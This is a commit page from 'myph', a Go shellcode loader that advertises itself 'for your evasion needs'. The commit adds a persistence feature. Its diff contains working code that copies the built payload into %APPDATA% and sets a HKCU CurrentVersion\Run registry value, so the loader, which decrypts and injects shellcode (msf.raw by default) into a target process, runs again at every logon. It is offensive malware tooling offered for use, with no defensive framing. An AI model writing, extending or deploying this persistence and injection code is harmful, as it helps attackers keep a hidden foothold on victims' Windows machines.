myph.git


myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
log | files | refs | archive | README | LICENSE

commit f4c13771d47c706ac69421b3add956dd787cd8cf
parent 62359dec6baf1883aa7a4ef1244346cc405b152f
Author: xl00t <[email protected]>
Date: Mon, 13 Nov 2023 12:07:12 +0000

feat(cli): adding Persistence module (#7) * Added persistence flag * Added persistence template * Removed artifacts * Adding Doc --------- Co-authored-by: djnn <[email protected]>

Diffstat:
MREADME.md | 1+
Mcli/defaults.go | 1+
Mcli/parser.go | 21+++++++++++++++++++--
Mcli/types.go | 4++++
Atools/persist.go | 114+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Mtools/utils.go | 13+++++++++++--

6 files changed, 150 insertions(+), 4 deletions(-)

diff --git a/README.md b/README.md
@@ -76,6 +76,7 @@ Flags:
   -h, --help                 help for myph
   -k, --key string           encryption key, auto-generated if empty. (if used by --encryption)
   -f, --out string           output name (default "payload.exe")
+  -z, --peristence string    name of the binary being placed in '%APPDATA%' and in 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' reg key (default: "")
   -p, --process string       target process to inject shellcode to (default "cmd.exe")
   -s, --shellcode string     shellcode path (default "msf.raw")
       --sleep-time uint      sleep time in seconds before executing loader (default: 0)
diff --git a/cli/defaults.go b/cli/defaults.go
@@ -19,6 +19,7 @@ func GetDefaultCLIOptions() Options {
 		PEFilePath:      "payload.exe",
 		VersionFilePath: "goversion.json",
 		BuildType:       "exe",
+    Persistence:     "",
 	}
 
 	return opts
diff --git a/cli/parser.go b/cli/parser.go
@@ -129,7 +129,7 @@ func GetParser(opts *Options) *cobra.Command {
 			fmt.Printf("%s\n\n", ASCII_ART)
 
 			/* later, we will call "go build" on a golang project, so we need to set up the project tree */
-			err := tools.CreateTmpProjectRoot(MYPH_TMP_DIR)
+			err := tools.CreateTmpProjectRoot(MYPH_TMP_DIR, opts.Persistence)
 			if err != nil {
 				fmt.Printf("[!] Error generating project root: %s\n", err)
 				os.Exit(1)
@@ -224,6 +224,21 @@ func GetParser(opts *Options) *cobra.Command {
 				panic(err)
 			}
 
+			persistData := ""
+			if opts.Persistence != "" {
+				persistData = fmt.Sprintf(`persistExecute("%s")`, opts.Persistence)
+				execCmd := exec.Command("go", "get", "golang.org/x/sys/windows/registry")
+				execCmd.Dir = MYPH_TMP_DIR
+				_, _ = execCmd.Output()
+
+				template = tools.GetPersistTemplate()
+				err = tools.WriteToFile(MYPH_TMP_DIR, "persist.go", template)
+				if err != nil {
+					panic(err)
+				}
+				fmt.Printf("\nUsing persistence technique, file will be installed to %%APPDATA%%\\%s\n", opts.Persistence)
+			}
+
 			/* write main execution template */
 			encodedShellcode := tools.EncodeForInterpolation(encType, encrypted)
 			encodedKey := tools.EncodeForInterpolation(encType, []byte(opts.Key))
@@ -235,6 +250,7 @@ func GetParser(opts *Options) *cobra.Command {
 					encodedKey,
 					encodedShellcode,
 					opts.SleepTime,
+					persistData,
 					opts.BuildType == "dll",
 				),
 			)
@@ -297,7 +313,8 @@ func GetParser(opts *Options) *cobra.Command {
 	rootCmd.Flags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, chacha20, XOR, blowfish)")
 	rootCmd.Flags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption)")
 	rootCmd.Flags().UintVarP(&opts.SleepTime, "sleep-time", "", defaults.SleepTime, "sleep time in seconds before executing loader (default: 0)")
-
+  rootCmd.PersistentFlags().StringVarP(&opts.Persistence, "peristence", "z", defaults.Persistence, "name of the binary being placed in '%APPDATA%' and in 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' reg key (default: \"\")")
+  
 	spoofMetadata.Flags().StringVarP(&opts.PEFilePath, "pe", "p", defaults.PEFilePath, "PE file to spoof")
 	spoofMetadata.Flags().StringVarP(&opts.VersionFilePath, "file", "f", defaults.VersionFilePath, "manifest file path (as JSON)")
 
diff --git a/cli/types.go b/cli/types.go
@@ -94,6 +94,10 @@ type Options struct {
 	// Sleep time before running execution
 	SleepTime uint
 
+
+  // Registry-Persistence handler
+	Persistence string
+
 	// Goversion filepath
 	VersionFilePath string
 
diff --git a/tools/persist.go b/tools/persist.go
@@ -0,0 +1,114 @@
+package tools
+
+import "fmt"
+
+func GetPersistTemplate() string {
+	return fmt.Sprintf(`
+package main
+
+import (
+	"io"
+	"os"
+	"strings"
+
+	"golang.org/x/sys/windows/registry"
+)
+
+func getCurrentProcessPath() string {
+	path, err := os.Executable()
+	if err != nil {
+		return ""
+	}
+	return path
+}
+
+func filenameToName(filename string) string {
+	filename_splitted := strings.Split(filename, ".")
+	return filename_splitted[0]
+}
+
+func getAppDataPath() string {
+	path, err := os.UserConfigDir()
+	if err != nil {
+		return ""
+	}
+	return path
+}
+
+func getRegistryKey(keyName string) (string, error) {
+	k, err := registry.OpenKey(registry.CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", registry.QUERY_VALUE)
+	if err != nil {
+		return "", err
+	}
+	defer k.Close()
+
+	s, _, err := k.GetStringValue(keyName)
+	if err != nil {
+		return "", err
+	}
+	return s, err
+}
+
+func SetRegistryValue(keyName string, keyValue string) error {
+
+	k, err := registry.OpenKey(registry.CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", registry.ALL_ACCESS)
+	if err != nil {
+		return err
+	}
+	defer k.Close()
+
+	err = k.SetStringValue(keyName, keyValue)
+	if err != nil {
+		return err
+	}
+	return err
+}
+
+func fileExists(filename string) bool {
+	info, err := os.Stat(filename)
+	if os.IsNotExist(err) {
+		return false
+	}
+	return !info.IsDir()
+}
+
+func copyFile(src string, dest string) {
+	in, err := os.Open(src)
+	if err != nil {
+		return
+	}
+	defer in.Close()
+	out, err := os.Create(dest)
+	if err != nil {
+		return
+	}
+	defer func() {
+		cerr := out.Close()
+		if err == nil {
+			err = cerr
+		}
+	}()
+	if _, err = io.Copy(out, in); err != nil {
+		return
+	}
+	err = out.Sync()
+	return
+}
+
+func persistExecute(outFile string) {
+	currentFilePath := getCurrentProcessPath()
+	keyName := filenameToName(outFile)
+	installFile := getAppDataPath() + "\\" + outFile
+
+	if !fileExists(installFile) {
+		copyFile(currentFilePath, installFile)
+
+	}
+	keyVal, err := getRegistryKey(keyName)
+	if err != nil || keyVal != installFile {
+		SetRegistryValue(keyName, installFile)
+	}
+
+}
+`)
+}
diff --git a/tools/utils.go b/tools/utils.go
@@ -79,7 +79,7 @@ func DirExists(dir string) (bool, error) {
 	return false, err
 }
 
-func CreateTmpProjectRoot(path string) error {
+func CreateTmpProjectRoot(path string, persist string) error {
 
 	fmt.Printf("[+] Initializing temporary build directory\n")
 
@@ -123,6 +123,11 @@ go 1.19
 	encryptgo_path := fmt.Sprintf("%s/encrypt.go", path)
 	_, _ = os.Create(encryptgo_path)
 
+	if persist != "" {
+		encryptgo_path := fmt.Sprintf("%s/persist.go", path)
+		_, _ = os.Create(encryptgo_path)
+	}
+
 	println("\n")
 	return nil
 }
@@ -132,6 +137,7 @@ func GetMainTemplate(
 	key string,
 	sc string,
 	sleepTime uint,
+	persistData string,
 	shouldExport bool,
 ) string {
 
@@ -158,6 +164,7 @@ import (
     enc "encoding/%s"
 	"fmt"
 )
+
 %s
 var Key = %s
 var Code = %s
@@ -172,7 +179,9 @@ var Code = %s
     }
 
     time.Sleep(%d * time.Second)
+    
+	  %s
     ExecuteOrderSixtySix(decrypted)
 }
-    `, encoding, exportImpStr, key, sc, exportexpStr, encCall, encCall, sleepTime)
+    `, encoding, exportImpStr, key, sc, exportexpStr, encCall, encCall, sleepTime, persistData)
 }